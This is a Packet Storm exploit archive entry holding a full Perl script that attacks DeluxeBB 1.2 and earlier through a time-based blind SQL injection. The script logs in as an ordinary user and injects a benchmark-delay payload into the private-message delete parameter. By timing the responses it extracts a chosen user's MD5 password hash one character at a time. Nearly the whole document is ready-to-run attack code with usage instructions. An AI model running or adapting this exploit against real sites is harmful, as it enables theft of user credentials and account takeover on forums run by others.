DeluxeBB 1.2 Remote Blind SQL Injection

2008-12-31T00:00:00
ID PACKETSTORM:73451
Type packetstorm
Reporter StAkeR
Modified 2008-12-31T00:00:00

Description

                                        
                                            `#!/usr/bin/perl   
# --------------------------------------------------  
# DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit  
# --------------------------------------------------  
# by athos - staker[at]hotmail[dot]it  
# download on http://deluxebb.com  
# --------------------------------------------------  
# Usage:  
# perl xpl.pl host/path prefix id password target id  
# perl xpl.pl localhost/deluxebb deluxebb 5 r00x 1  
# --------------------------------------------------  
# Note: magic_quotes_gpc off  
# don't add me on msn messenger  
# my email staker.38@gmail.com  
# --------------------------------------------------  
# Greetz: str0ke,The:Paradox and #cancer  
# --------------------------------------------------  
  
use strict;  
use Digest::MD5('md5_hex');  
use LWP::UserAgent;  
  
my ($hash,$http);  
my ($host,$prefix,$user,$pass,$target) = @ARGV;  
  
$http = new LWP::UserAgent(timeout => 5);  
  
if (@ARGV != 5)  
{  
print "\n+----------------------------------------------------+\r",  
"\n| DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit |\r",  
"\n+----------------------------------------------------+\r",  
"\nby athos - staker[at]hotmail[dot]it\n",  
"\nUsage + perl $0 [host/path] [prefix] [ID] [password] [target ID]",  
"\nHost + localhost/DeluxeBB",  
"\nID + your user ID",  
"\nPassword + your password",  
"\nPrefix + table prefix (default: deluxebb)",  
"\nTarget ID + target id\n";  
exit;  
}   
  
$http->default_header('Cookie' => cookies($user,$pass));  
  
&exploit;  
  
sub getUsername  
{  
my ($user_id,$response,@nickname) = $_[0];  
  
$response = $http->get("http://$host/misc.php?sub=profile&uid=$user_id");  
@nickname = $response->as_string =~ m{<span class="misctext">(.+?)</span>}ig;  
  
return $nickname[1];  
}   
  
  
  
sub cookies  
{  
my ($username);  
my ($user_id,$password) = @_;  
  
$username = getUsername($user_id);  
$password = md5_hex($password);  
  
return qq{membercookie=$username; memberid=$user_id; memberpw=$password;};  
}   
  
  
sub getMsg  
{  
my $response = $http->get("http://$host/pm.php?sub=folder&name=inbox");  
  
if ($response->as_string =~ m/pid=(\d+)./i)  
{  
return $1;  
}  
else  
{  
my $content = {  
to => getUsername($user),  
subject => rand(999),  
posticon => 'none',  
rte1 => rand(999),  
submit => 'Send'  
  
};   
  
  
my $request = $http->post("http://$host/pm.php?sub=newpm",$content);  
my $read_id = $http->get("http://$host/pm.php?sub=folder&name=inbox");  
  
if ($read_id->content =~ /pid=(\d+)./i)  
{  
return $1;  
}  
}   
}   
  
  
sub sql  
{  
my ($i,$j,$sql) = (shift,shift,undef);  
  
$sql = "%27+OR+(SELECT+IF((ASCII(SUBSTRING(pass,$i,1))=$j),".  
"benchmark(200000000,CHAR(0)),0)+FROM+${prefix}_users".  
"+WHERE uid=$target))%23";  
  
return $sql;   
}   
  
  
sub delay  
{  
my ($tm1,$tm2) = (undef,undef);  
my ($msg,$sql) = @_;  
  
$tm1 = time();  
  
$http->get("http://$host/pm.php?sub=do&submit=Delete&delete$msg=$sql");  
  
$tm2 = time();  
  
return $tm2 - $tm1;  
}  
  
  
sub exploit  
{  
my ($i,$ord) = (1,undef);  
my @chr = (48..57, 97..102);   
  
for ($i..32)  
{  
foreach $ord(@chr)  
{  
if (delay(&getMsg,&sql($i,$ord)) >= 5)  
{  
syswrite(STDOUT,chr($ord)); $hash .= chr($ord);  
last;  
$i++;  
}   
  
if ($i == 2 and not defined $hash)  
{  
syswrite(STDOUT,"Exploit Failed!\n");  
exit;  
}  
}   
}   
}   
  
  
`